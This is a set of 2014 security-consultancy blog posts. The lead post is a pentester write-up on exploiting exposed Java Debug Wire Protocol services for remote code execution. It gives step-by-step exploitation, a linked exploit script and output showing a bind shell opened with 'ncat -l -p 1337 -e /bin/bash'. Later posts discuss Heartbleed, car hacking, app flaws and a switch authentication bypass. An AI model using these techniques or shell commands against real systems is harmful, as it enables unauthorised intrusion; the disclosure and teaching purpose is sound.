INSIGHTS | April 23, 2014

Hacking the Java Debug Wire Protocol – or – “How I met your Java debugger”

By Christophe Alladoum – @_hugsy_
 
TL;DR: turn any open JDWP service into reliable remote code execution (exploit inside)
 
<plagiarism> Kids, I’m gonna tell you an incredible story. </plagiarism>
This is the story of how I came across an interesting protocol during a recent code review engagement for IOActive and turned it into a reliable way to execute remote code. In this post, I will explain the Java Debug Wire Protocol (JDWP) and why it is interesting from a penetration tester’s point of view. I will cover some JDWP internals and how to use them to perform code execution, resulting in a reliable and universal exploitation script. So let’s get started.
 
Disclaimer: This post provides techniques and exploitation code that should not be used against vulnerable environments without prior authorization. The author cannot be held responsible for any private use of the tool or techniques described therein.
 
Note: As I was looking into JDWP, I stumbled upon two brief posts on the same topic (see [5] (in French) and [6]). They are worth reading, but do not expect that a deeper understanding of the protocol itself will allow you to reliably exploit it. This post does not reveal any 0-day exploits, but instead thoroughly covers JDWP from a pentester/attacker perspective. 

Java Debug Wire Protocol

Java Platform Debug Architecture (JPDA)
JDWP is one component of the global Java debugging system, called the Java Platform Debug Architecture (JPDA). The following is a diagram of the overall architecture:
 

 

 
The Debuggee consists of a multi-threaded JVM running our target application. In order to be remotely debuggable, the JVM instance must be explicitly started with the option -Xdebug passed on the command line, as well as the option -Xrunjdwp (or -agentlib). For example, starting a Tomcat server with remote debugging enabled would look like this:
 

 

As shown in the architecture diagram, the Java Debug Wire Protocol is the central link between the Debugger and the JVM instance. Observations about the protocol include:
  • It is a packet-based network binary protocol.
  • It is mostly synchronous. The debugger sends a command over JDWP and expects to receive a reply. However, some commands, like Events, do not expect a synchronous response. They will send a reply when specific conditions are met. For example, a BreakPoint is an Event.
  • It does not use authentication.
  • It does not use encryption.
 
All of these observations make total sense since we are talking about a debugging protocol. However, when such a service is exposed to a hostile network, or is Internet facing, things could go wrong.


Handshake
JDWP dictates[9] that communication must be initiated by a simple handshake. Upon successful TCP connection, the Debugger (client) sends the 14-character ASCII string “JDWP-Handshake”. 
The Debuggee (server) responds to this message by sending the exact same string. 
 
The following scapy[3] trace shows the initial two-way handshake:

 

root:~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “
    inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0
root:~/tools/scapy-hg # ./run_scapy
Welcome to Scapy (2.2.0-dev)
>>> sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw
0000   4A 44 57 50 2D 48 61 6E  64 73 68 61 6B 65         JDWP-Handshake

0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw
0000   4A 44 57 50 2D 48 61 6E  64 73 68 61 6B 65         JDWP-Handshake
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A

An experienced security auditor may have already realised that such a simple handshake offers a way to easily uncover live JDWP services on the Internet. Just send one simple probe and check for the specific response. 

 
More interestingly, a behavior was observed on the IBM Java Development Kit when scanning with ShodanHQ with the server “talking” first with the very same banner mentioned. As a consequence, there is a totally passive way to discover an active JDWP service (this is covered later on in this article with the help of the (in)famous Shodan).


Communication
JDWP defines messages[10] involved in communications between the Debugger and the Debuggee. 
 
The messages follow a simple structure, defined as follows:
 

 

The Length and Id fields are rather self explanatory. The Flag field is only used to distinguish request packets from replies, a value of 0x80 indicating a reply packet. The CommandSet field defines the category of the Command as shown in the following table. 

CommandSet
   Command
0x40 
   Action to be taken by the JVM (e.g. setting a BreakPoint)
0x40–0x7F     
   Provide event information to the debugger (e.g. the JVM has       hit a BreakPoint and is waiting for further actions)
0x80
   Third-party extensions
 
Keeping in mind that we want to execute arbitrary code, the following commands are the most interesting for our purposes.
  • VirtualMachine/IDSizes defines the size of the data structures handled by the JVM. This is one of the reasons why the nmap script jdwp-exec.nse[11] does not work, since the script uses hardcoded sizes.
  • ClassType/InvokeMethod allows you to invoke a static function.
  • ObjectReference/InvokeMethod allows you to invoke a function from an instantiated object in the JVM.
  • StackFrame/(Get|Set)Values provides pushing/popping capabilities from threads stack.
  • Event/Composite forces the JVM to react to specific behaviors declared by this command. This command is a major key for debugging purposes as it allows, among many other things, setting breakpoints, single-stepping through the threads during runtime, and being notified when accessing/modifying values in the exact same manner as GDB or WinDBG.
 
Not only does JDWP allow you to access and invoke objects already residing in memory, it also allows you to create or overwrite data.
  • VirtualMachine/CreateString allows  you to transform a string into a java.lang.String living in the JVM runtime.
  • VirtualMachine/RedefineClasses allows you to install new class definitions.
 
“All your JDWP are belong to us”
As we have seen, JDWP provides built-in commands to load arbitrary classes into the JVM memory and invoke already existing and/or newly loaded bytecode. The following section will cover the steps for creating exploitation code in Python, which behaves as a partial implementation of a JDI front end in order to be as reliable as possible. The main reason for this standalone exploit script is that, as a pentester, I like “head-shot” exploits. That is, when I know for sure an environment/application/protocol is vulnerable, I want to have my tool ready to exploit it right away (i.e. no PoC, which is basically the only thing that existed so far). So now that we have covered the theory, let’s get into the practical implementation.
 
When faced with an open JDWP service, arbitrary command execution is exactly five steps away (or with this exploit, only one command line away). Here is how it would go down:
 
1. Fetch Java Runtime reference
The JVM manipulates objects through their references. For this reason, our exploit must first obtain the reference to the java.lang.Runtime class. From this class, we need the reference to the getRuntime() method. This is performed by fetching all classes (AllClasses packet) and all methods in the class we are looking for (ReferenceType/Methods packet).
 
2. Setup breakpoint and wait for notification (asynchronous calls)
This is the key to our exploit. To invoke arbitrary code, we need to be in a running thread context. To do so, a hack is to setup a breakpoint on a method which is known to be called at runtime. As seen earlier, a breakpoint in JDI is an asynchronous event whose type is set to BREAKPOINT(0x02). When hit, the JVM sends an EventData packet to our debugger, containing our breakpoint ID, and more importantly, the reference to the thread which hit it.

 

It is therefore a good idea to set it on a frequently called method, such as java.net.ServerSocket.accept(), which is very likely to be called every time the server receives a new network connection. However, one must bear in mind that it could be any method existing at runtime.
 
3. Allocating a Java String object in Runtime to carry out the payload
We will execute code in the JVM runtime, so all of our manipulated data (such as string) must exist in the JVM runtime (i.e. possess an runtime reference). This is done quite easily by sending a CreateString command.
 

 

 
4. Get Runtime object from breakpoint context
At this point we have almost all of the elements we need for a successful, reliable exploitation. What we are missing is a Runtime object reference. Obtaining it is easy, and we can simply execute in the JVM runtime the java.lang.Runtime.getRuntime() static method[8] by sending a ClassType/InvokeMethod packet and providing the Runtime class and thread references.
 
5. Lookup and invoke exec() method in Runtime instance
The final step is simply looking for the exec() method in the Runtime static object obtained for the previous step and invoking it (by sending a ObjectReference/InvokeMethod packet) with the String object we created in step three. 
 
Et voilà !! Swift and easy.
 
As a demonstration, let’s start a Tomcat running with JPDA “debug mode” enabled:
root@pwnbox:~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start
 
We execute our script without a command to execute, to simply get general system information:
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9 
[+] Targeting ‘192.168.2.9:8000’
[+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’
[+] Found Runtime class: id=466
[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’
## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System ‘Mac OS X’
[+] Found User name ‘pentestosx’
[+] Found ClassPath ‘/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar’
[+] Found User home directory ‘/Users/pentestosx’
[!] Command successfully executed


Same command line, but against a Windows system and breaking on a totally different method:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –break-on ‘java.lang.String.indexOf’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on ‘java.lang.String.indexOf’
[+] Received matching event from thread 0x8f5
[+] Found Operating System ‘Windows 7’
[+] Found User name ‘hugsy’
[+] Found ClassPath ‘C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar’
[+] Found User home directory ‘C:Usershugsy’
[!] Command successfully executed


We execute our exploit to spawn a bind shell with the payload  “ncat -e /bin/bash -l -p 1337”, against a Linux system:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –cmd ‘ncat -l -p 1337 -e /bin/bash’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘OpenJDK Client VM – 1.6.0_27’
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’
[+] Received matching event from thread 0x82a
[+] Selected payload ‘ncat -l -p 1337 -e /bin/bash’
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc
[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed
 
Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp        0      0 0.0.0.0:1337         0.0.0.0:*               LISTEN      19242/ncat      
tcp6       0      0 :::1337              :::*                    LISTEN      19242/ncat     


Same win on MacOSX:
pentests-Mac:~ pentestosx$ lsof | grep LISTEN
ncat      4380 pentestosx    4u    IPv4 0xffffff800c8faa40       0t0        TCP *:menandmice-dns (LISTEN)
 
A link to full exploitation script is provided here[1]. 
 
The final exploit uses those techniques, adds a few checks, and sends suspend/resume signals to cause as little disruption as possible (it’s always best not to break the application you’re working on, right?). It acts in two modes: 
  • “Default” mode is totally non intrusive and simply executes Java code to get local system information (perfect for a PoC to a client).
  • Passing the “cmd” option executes a system command on the remote host and is therefore more intrusive. The command is done with the privileges the JVM is running with.
 
This exploit script was successfully tested against:
  • Oracle Java JDK 1.6 and 1.7
  • OpenJDK 1.6
  • IBM JDK 1.6
 
As Java is platform-independent by design, commands can be executed on any operating system that Java supports.
 
Well this is actually good news for us pentesters: open JDWP service means reliable RCE
 
So far, so good.


What about real-life exploitation?

As a matter of fact, JDWP is used quite a lot in the Java application world. Pentesters might, however, not see it that often when performing remote assessments as firewalls would (and should) mostly block the port it is running on.
 
But this does not mean that JDWP cannot be found in the wild:
  • At the time of writing this article, a quick search on ShodanHQ[4] immediately reveals about 40 servers sending the JDWP handshake:

 

This is actually an interesting finding because, as we’ve seen before, it is supposed to be the client-side (debugger) that initiates dialogue.
  • GitHub[7] also reveals a significant number of potentially vulnerable open-source applications:

 

  • masscan-ing the Internet looking for specific ports (tcp/8000, tcp/8080, tcp/8787, tcp/5005) revealed many hosts (which cannot be reported here) responding to the initial handshake.
  • “Enterprise” applications were found in the wild running a JDWP service *by default* (finding the actual port number is left as an exercise to the curious reader).
 
These are just a few ways to discover open JDWP services on the Internet. This is a great reminder that applications should regularly undergo thorough security reviews, production environments should have any debugging functionality turned off, and firewalls should be configured to restrict access to services required for normal operation only. Allowing anybody to connect to a JDWP service is exactly the same as allowing a connection to a gdbserver service (in what may be a more stable way).
 
I hope you enjoyed reading this article as much as I enjoyed playing with JDWP. 
 
To y’all mighty pirates, happy JDWP pwning !!


Thanks

I would like to thank Ilja Van Sprundel and Sebastien Macke for their ideas and tests.


References:
  1. https://github.com/IOActive/jdwp-shellifier
  2. http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
  3. http://www.secdev.org/projects/scapy(no longer active)
  4. http://www.shodanhq.com/search?q=JDWP-HANDSHAKE 
  5. http://www.hsc-news.com/archives/2013/000109.html (no longer active) 
  6. http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt 
  7. https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
  8. http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
  9. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
  10. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
  11. http://nmap.org/nsedoc/scripts/jdwp-exec.html
INSIGHTS | April 10, 2014

Bleeding Hearts

The Internet is ablaze with talk of the “heartbleed” OpenSSL vulnerability disclosed yesterday (April 7, 2014) here: https://www.openssl.org/news/secadv_20140407.txt
 
While the bug itself is a simple “missing bounds check,” it affects quite a number of high-volume, big business websites.
 
Make no mistake, this bug is BAD. It’s sort of a perfect storm: the bug is in a library used to encrypt sensitive data (OpenSSL), and it allows attackers a peak into a server’s memory, potentially revealing that same sensitive data in the clear.
 
Initially, it was reported that private keys could be disclosed via this bug, basically allowing attackers to decrypt captured SSL sessions. But as more people start looking at different sites, other issues have been revealed – servers are leaking information ranging from user sessions (https://www.mattslifebytes.com/?p=533) to encrypted search queries (duckduckgo) and passwords (https://twitter.com/markloman/status/453502888447586304). The type of information accessible to an attacker is entirely a function of what happens to be in the target server’s memory at the time the attacker sends the request.
 
While there’s lot of talk about the bug and its consequences, I haven’t seen much about what actually causes the bug. Given that the bug itself is pretty easy to understand (and even spot!), I thought it would be worthwhile to walk through the vulnerability here for those of you who are curious about the why, and not just the how-to-fix.
 
 
The Bug
 
The vulnerable code is found in OpenSSL’s TLS Heartbeat Message handling routine – hence the clever “heartbleed” nickname. The TLS Heartbeat protocol is defined in RFC 6520 – “Transport Layer Security (TLS) and Datagram Transport Layer Security (DTLS) Heartbeat Extension”.  
 
Before we get into the OpenSSL code, we should examine what this protocol looks like.
 
The structure of the Heartbeat message is very simple, consisting of a 8-bit message type, a 16-bit payload length field, the payload itself, and finally a sequence of padding bytes. In pseudo-code, the message definition looks like this (copied from the RFC):
 
 
The type (line 2) is simply 1 or 2, depending on whether the message is a request or a response.
 
The payload_length (line 3) indicates the size of the payload part of the message, which follows immediately. Being a 16-bit unsigned integer, its maximum value is 2^16-1 (which is 65535). If you’ve done some other reading about this bug, you’ll recognize the 64k as being the upper limit on how much data can be accessed by an attacker per attack sent.
 
The payload (line 4) is defined to be “arbitrary content” of length payload_length.
 
And padding (line 5) is “random content” at least 16 bytes long, and “MUST be ignored.”
 
Easy enough!
 
Now I think it should be noted here that the RFC itself appears sound – it describes appropriate behavior for what an implementation of the protocol should and shouldn’t do. In fact, the RFC explicitly states that “If the payload_length of a received HeartbeatMessage is too large, the received HeartbeatMessage MUST be discarded silently.” Granted, “too large” isn’t defined, but I digress…
 
There is one last part of the RFC that’s important for understanding this bug: The RFC states that “When a HeartbeatRequest message is received … the receiver MUST send a corresponding HeartbeatResponse message carrying an exact copy of the payload of the received HeartbeatRequest.” This is important in understanding WHY vulnerable versions of OpenSSL are sending out seemingly arbitrary blocks of memory.
 
Now, on to OpenSSL code!  
 
Here’s a snippet from the DTLS Heartbeat handling function in (the vulnerable) openssl-1.0.1fssld1_both.c:
 
 
If you’re not familiar with reading C, this can be a lot to digest. The bug will become clearer if we go through this function piece by piece. We’ll start at the top…
 
 
 
This part just defines local variables for the function. The most important one here is the char pointer p (line 1457), which points to the heartbeat message the attacker controls. hbtype (line 1458)will hold the HeartbeatMessageType value mentioned in the RFC, and payload (line 1459)will hold the payload_length value. Don’t let the fact that the payload_length value is being stored in the payload variable confuse you!
 
 
 
Here, the first byte of the message is copied into the hbtype variable (line 1463), and the 16-bit payload-length is copied from p (the attacker-controlled message) to the payload variable using the n2s function (line 1464). The n2s function simply converts the value from the sequence of bits in the message to a number the program can use in calculations. Finally, the pl pointer is set to point to the payload section of the attacker-controlled message (line 1465).
 
 
On line 1474, a variable called buffer is defined and then allocated (line 1481) an area of memory using the attacker-controlled payload variable to calculate how much memory should be allocated. Then, on line 1482, the bp pointer is set to point to the buffer that was just allocated for the server’s response.
As an aside, if the payload_length field which gets stored in the payload variable were greater than 16-bits (say, 32 or 64-bits instead), we’d be looking at another couple of vulnerabilities: either an integer overflow leading to a buffer overflow, or potentially a null-pointer dereference. The exact nature and exploitability of either of these would depend upon the platform itself, and the exact implementation of OPENSSL_malloc. Payload_length *is* only 16-bits however, so we’ll continue…
 
 
This code snippet shows the server building the response. It’s here that this bug changes from being an attacker-controlled length field leading to Not Very Much into a serious information disclosure bug causing a big stir. Line 1485 simply sets the type of the response message pointed to by bp to be a Heartbeat Response. According to the RFC, the payload_length should be next, and indeed – it is being copied over to the bp response buffer via the s2n function on line 1486. The server is just copying the value the attacker supplied, which was stored in the payload variable. Finally, the payload section of the attacker message (pointed to by pl, on line 1465) is copied over to the response buffer, pointed to by the bp variable (again, according to the RFC specification), which is then sent back to the attacker.  
 
And herein lies the vulnerability – the attacker-controlled payload variable (which stores the payload_length field!) is used to determine exactly how many bytes of memory should be copied into the response buffer, WITHOUT first being checked to ensure that the payload_length supplied by the attacker is not bigger than the size of the attacker-supplied payload itself.
 
This means that if an attacker sends a payload_length greater than the size of the payload, any data located in the server’s memory after the attacker’s payload would be copied into the response. If the attacker set the payload_length to 10,000 bytes and only provided a payload of 10 bytes, then a little less than an extra 10,000 bytes of server memory would be copied over to the response buffer and sent back to the attacker. Any sensitive information that happened to be hanging around in the process (including private keys, unencrypted messages, etc.) is fair game. The only variable is what happens to be in memory. In playing with some of the published PoCs against my own little test server (openssl s_server FTW), I got a whole lot of nothing back, in spite of targeting a vulnerable version, because the process wasn’t doing anything other than accepting requests. To reiterate, the data accessed entirely depends on what’s in memory at the time of the attack.
 
 
Testing it yourself
 
There are a number of PoCs put up yesterday and today that allow you to check your own servers. If you’re comfortable using an external service, you can check out http://filippo.io/Heartbleed/. Or you can grab filippo’s golang code from https://github.com/FiloSottile/Heartbleed, compile it yourself, and test on your own. If golang is not your cup of tea, I’d check out the simple Python version here: https://gist.github.com/takeshixx/10107280. All that’s required is a Python2 installation.
 
Happy Hunting!
INSIGHTS | April 8, 2014

Car Hacking 2: The Content

Does everyone remember when those two handsome young gentlemen controlled automobiles with CAN message injection (https://www.youtube.com/watch?v=oqe6S6m73Zw)? I sure do. However, what if you don’t have the resources to purchase a car, pay for insurance, repairs to the car, and so on? 
 
Fear not Internet! 
 
Chris and Charlie to the rescue. Last week we presented our new automotive research at Syscan 2014. To make a long story short, we provided the blueprints to setup a small automotive network outside the vehicle so security researchers could start investigating Autosec (TM pending) without requiring the large budget needed to procure a real automobile. (Update: Andy Greenberg just released an article explaining our work, http://www.forbes.com/sites/andygreenberg/2014/04/08/darpa-funded-researchers-help-you-learn-to-hack-a-car-for-a-tenth-the-price/)
 
 
Additionally, we provided a solution for a mobile testing platform (a go-cart) that can be fashioned with ECUs from a vehicle (or purchased on Ebay) for testing that requires locomotion, such as assisted braking and lane departure systems. 
 
 
For those of you that want the gritty technical details, download this paper. As always, we’d love feedback and welcome any questions. 
 

 

INSIGHTS | February 27, 2014

Beware Your RSA Mobile App Download

It’s been half a decade since Apple launched their iPhone campaign titled “There’s an app for that“. In the years following, the mobile app stores (from all the major players) have continued to blossom to the point that not only are there several thousand apps that help light your way (i.e. by keeping the flash running bright), but every company, cause, group, or notable event is expected to publish their own mobile application. 
 
Today there are several hundred good “rapid development” kits that allow any newbie to craft and release their own mobile application and several thousand small professional software development teams that will create one on your behalf. These bespoke mobile applications aren’t the types products that their owners are expecting to make much (if any) money off of. Instead, these apps are generally helpful tools that appeal to a particular target audience.
 
Now, while the cynical side of me would like to point out that some people should never be trusted with tools as lofty as HTML and setting up WordPress sites–let alone building a mobile app, many corporate marketing teams I’ve dealt with have not only drunk the “There’s an app for that” Kool-Aid, they appear to bath in the stuff each night. As such, a turnkey approach to app production is destined to involve many sacrifices and, at the top of the sacrificial pillar, data security and integrity continue to reign supreme.
 
A few weeks ago I noticed that, in the run up to the RSA USA 2014 conference, a new mobile application was conceived and thrust upon the Apple and Google app stores and electronically marketed to the world at large. Maybe it was a reaction to being spammed with a never-ending tirade of “come see us at RSA” emails, or it was topical off the back of a recent blog on the state of mobile banking application security, or maybe both. I asked some of the IOActive consulting team who had a little bench-time between jobs to have a poke at freshly minted “RSA Conference 2014” mobile application. 
 
 
 
The Google Play app store describes the RSA Conference 2014 application like this:
With the RSA Conference Mobile App, you can stay connected with all Conference activities, view the event catalog, manage session schedules and engage with colleagues and peers while onsite using our social and professional networking tools. You’ll have access to dynamic agenda updates, venue maps, exhibitor listing and more!
Now, I wasn’t expecting the application to be particularly interesting–it’s not as if it was a transactional banking application etc.–but I would have thought that RSA (or whoever they tasked with commissioning the application) would have at least applied some basic elbow grease so as to not potentially embarrass themselves. Alas, that was not to be the case.
 
The team came back rather quickly with a half-dozen security issues. Technically the highest impact vulnerability had to do with the app being vulnerable to man-in-the-middle attacks, where an attacker could inject additional code into the login sequence and phish credentials. If we were dealing with a banking application, then heads would have been rolling in an engineering department, but this particular app has only been downloaded a few thousand times, and I seriously doubt that some evil hacker is going to take the time out of their day to target this one application (out of tens-of-millions) to try phish credentials to a conference.
 
It was the second most severe vulnerability that caught my eye though. The RSA Conference 2014 application downloads a SQLite DB file that is used to populate the visual portions of the app (such as schedules and speaker information) but, for some bizarre reason, it also contains information of every registered user of the application–including their name, surname, title, employer, and nationality.
 
 
 
I have no idea why the app developers chose to do that, but I’m pretty sure that the folks who downloaded and installed the application are unlikely to have thought that their details were being made public and published in this way. Marketers love this kind of information though!
 
Some readers may think I’m targeting RSA, and in a small way I guess I am. Security flaws in mobile applications (particularly these rapidly developed and targeted apps) are endemic, and I think the RSA example helps prove the point that there are often inherent risks in even the most benign applications.
 
I’m betting that RSA didn’t even create the application themselves. The Google Play store indicates that a company called QuickMobile was the developer. With one small click it’s possible to get a list of all the other applications QuickMobile have created for what I would assume to be on their clients behalf.
 
 
 
As you can see from above, there are lots of popular brands and industry conferences employing their app creation services. I wonder if many of them share the same vulnerabilities as the RSA Conference 2014 application?
 
Here’s a little bit of advice to any corporate marketing team. If you’re going to release your own mobile application, the security and integrity of that application are your responsibility. While you can’t outsource that, you can get another organization to assess the application on your behalf.
 
In the meantime, readers of this blog may want to refrain from downloading the RSA Conference 2014 (and related) mobile applications–unless you’re a hacker or marketing team that wants to acquire a free list of conference attendees names, positions, and employers.
INSIGHTS | February 14, 2014

The password is irrelevant too

In this follow up to a blog post on the Scalance-X200 series switches, we look at an authentication bypass vulnerability. It isn’t particularly complicated, but it does allow us to download configuration files, log files, and a firmware image. It can also be used to upload configuration and firmware images, which causes the device to reboot.
 
The code can be found in IOActive Labs github repository.
 
If an attacker has access to a configuration file with a known password, they can use this code to update the configuration file and take over the switch’s management functions. It can also be used to mirror ports and enable or disable other services, such as telnet, SSH, or SNMP. Lastly, the same script can be used to upload a firmware image to the device sans authentication. In other words, it is *delightfully reprogrammable* until you install the patch.
 
 
This brings us to an interesting point. I asked Siemens if the SSH keys in Firmware V5.X (the fixed version) are unique per device, and I was assured that they are. If this is true, there should be no problem with me publishing a hash of the private key for my device. Don’t worry damsels and chaps, I can always patch my device with a new key later, as a demonstration of my enthusiasm for firmware. 
 
Anyway, here are two fingerprints of the private SSH key: 
 
MD5   6f09a4d77569236fd90483a85920912d
SHA256    505166f90ee05761b11a5feda24d0ccdc53ef902cdd617b330db3634cc2788f7
 
If you have one of these devices and have patched to the version that contains fixes, you could assist the community greatly by verifying that the key gets a different finger-print. This will independently confirm what those outstanding gentry at Siemens told me and promote confidence in their security solutions.
 
This neatly segues into some changes we’ve seen in the ICS-space over the last few years. 
 
The primary change in behavior I’d like to applaud is how companies are striving to develop better relationships with independent security researchers such as myself. The increase in constructive dialogue is evidenced by Siemen’s ability to receive notification and then produce a patch within three months. Years ago we were regularly waiting six months to two years for fixes.
 
In fact, I challenged vendors at S4x14 to commit to an AVERAGE TIME of security patching for externally supplied vulnerabilities. We purposefully chose the average time for this challenge, because we know that providing quality assurance for these systems is difficult and can be time consuming. After all, some bugs are just thornier than others
 
Incidentally, this is backed up by empirical research shared with me by the inimitable Sean McBride during our conversations at S4x14. I wouldn’t want you to think I am just some un-gentlemanly shuffler or simkin, challenging hecatonchires for the sport of it (hat-tip @sergeybratus).
 
Follow @digitalbond to see the response I got to committing to an average security patch time, when my ”Red/Blue Live” talk goes online. You’ll also notice that my two attackers (red team) did not manage to use the script to take over the device, despite doing so in practice sessions the night before. The ingenious Rotem Bar (blue team) demonstrated that the secret of ICS security is to simply *patch*. Apparently, it is not only possible, but effective!
…and btw, happy Valentine’s!
INSIGHTS | February 6, 2014

An Equity Investor’s Due Diligence

Information technology companies constitute the core of many investment portfolios nowadays. With so many new startups popping up and some highly visible IPO’s and acquisitions by public companies egging things on, many investors are clamoring for a piece of the action and looking for new ways to rapidly qualify or disqualify an investment ; particularly so when it comes to hottest of hot investment areas – information security companies. 

Over the years I’ve found myself working with a number of private equity investment firms – helping them to review the technical merits and implications of products being brought to the market by new security startups. In most case’s it’s not until the B or C investment rounds that the money being sought by the fledgling company starts to get serious to the investors I know. If you’re going to be handing over money in the five to twenty million dollar range, you’re going to want to do your homework on both the company and the product opportunity. 

Over the last few years I’ve noted that a sizable number of private equity investment firms have built in to their portfolio review the kind of technical due diligence traditionally associated with the formal acquisition processes of Fortune-500 technology companies. It would seem to me that the $20,000 to $50,000 price tag for a quick-turnaround technical due diligence report is proving to be valuable investment in a somewhat larger investment strategy. 

When it comes to performing the technical due diligence on a startup (whether it’s a security or social media company for example), the process tends to require a mix of technical review and tapping past experiences if it’s to be useful, let alone actionable, to the potential investor. Here are some of the due diligence phases I recommend, and why:

    1. Vocabulary Distillation – For some peculiar reason new companies go out of their way to invent their own vocabulary as descriptors of their value proposition, or they go to great lengths to disguise the underlying processes of their technology with what can best be described as word-soup. For example, a “next-generation big-data derived heuristic determination engine” can more than adequately be summed up as “signature-based detection”. Apparently using the word “signature” in your technology description is frowned upon and the product management folks avoid the use the word (however applicable it may be). Distilling the word soup is a key component of being able to compare apples with apples.
    1. Overlapping Technology Review – Everyone wants to portray their technology as unique, ground-breaking, or next generation. Unfortunately, when it comes to the world of security, next year’s technology is almost certainly a progression of the last decade’s worth of invention. This isn’t necessarily bad, but it is important to determine the DNA and hereditary path of the “new” technology (and subcomponents of the product the start-up is bringing to market). Being able to filter through the word-soup of the first phase and determine whether the start-up’s approach duplicates functionality from IDS, AV, DLP, NAC, etc. is critical. I’ve found that many start-ups position their technology (i.e. advancements) against antiquated and idealized versions of these prior technologies. For example, simplifying desktop antivirus products down to signature engines – while neglecting things such as heuristic engines, local-host virtualized sandboxes, and dynamic cloud analysis.
    1. Code Language Review – It’s important to look at the languages that have been employed by the company in the development of their product. Popular rapid prototyping technologies like Ruby on Rails or Python are likely acceptable for back-end systems (as employed within a private cloud), but are potential deal killers to future acquirer companies that’ll want to integrate the technology with their own existing product portfolio (i.e. they’re not going to want to rewrite the product). Similarly, a C or C++ implementation may not offer the flexibility needed for rapid evolution or integration in to scalable public cloud platforms. Knowing which development technology has been used where and for what purpose can rapidly qualify or disqualify the strength of the company’s product management and engineering teams – and help orientate an investor on future acquisition or IPO paths.
    1. Security Code Review – Depending upon the size of the application and the due diligence period allowed, a partial code review can yield insight in to a number of increasingly critical areas – such as the stability and scalability of the code base (and consequently the maturity of the development processes and engineering team), the number and nature of vulnerabilities (i.e. security flaws that could derail the company publicly), and the effort required to integrate the product or proprietary technology with existing major platforms.
    1. Does it do what it says on the tin? – I hate to say it, but there’s a lot of snake oil being peddled nowadays. This is especially so for new enterprise protection technologies. In a nut-shell, this phase focuses on the claims being made by the marketing literature and product management teams, and tests both the viability and technical merits of each of them. Test harnesses are usually created to monitor how well the technology performs in the face of real threats – ranging from the samples provided by the companies user acceptance team (UAT) (i.e. the stuff they guarantee they can do), through to common hacking tools and tactics, and on to a skilled adversary with key domain knowledge.
  1. Product Penetration Test – Conducting a detailed penetration test against the start-up’s technology, product, or service delivery platform is always thoroughly recommended. These tests tend to unveil important information about the lifecycle-maturity of the product and the potential exposure to negative media attention due to exploitable flaws. This is particularly important to consumer-focused products and services because they are the most likely to be uncovered and exposed by external security researchers and hackers, and any public exploitation can easily set-back the start-up a year or more in brand equity alone. For enterprise products (e.g. appliances and cloud services) the hacker threat is different; the focus should be more upon what vulnerabilities could be introduced in to the customers environment and how much effort would be required to re-engineer the product to meet security standards.


Obviously there’s a lot of variety in the technical capabilities of the various private equity investment firms (and private investors). Some have people capable of sifting through the marketing hype and can discern the actual intellectual property powering the start-ups technology – but many do not. Regardless, in working with these investment firms and performing the technical due diligence on their potential investments, I’ve yet to encounter a situation where they didn’t “win” in some way or other. A particular favorite of mine is when, following a code review and penetration test that unveiled numerous serious vulnerabilities, the private equity firm was still intent on investing with the start-up but was able use the report to negotiate much better buy-in terms with the existing investors – gaining a larger percentage of the start-up for the same amount.

INSIGHTS | January 21, 2014

Scientifically Protecting Data

This is not “yet another Snapchat Pwnage blog post”, nor do I want to focus on discussions about the advantages and disadvantages of vulnerability disclosure. A vulnerability has been made public, and somebody has abused it by publishing 4.6 million records. Tough luck! Maybe the most interesting article in the whole Snapchat debacle was the one published at www.diyevil.com [1], which explains how data correlation can yield interesting results in targeted attacks. The question then becomes, “How can I protect against this?”

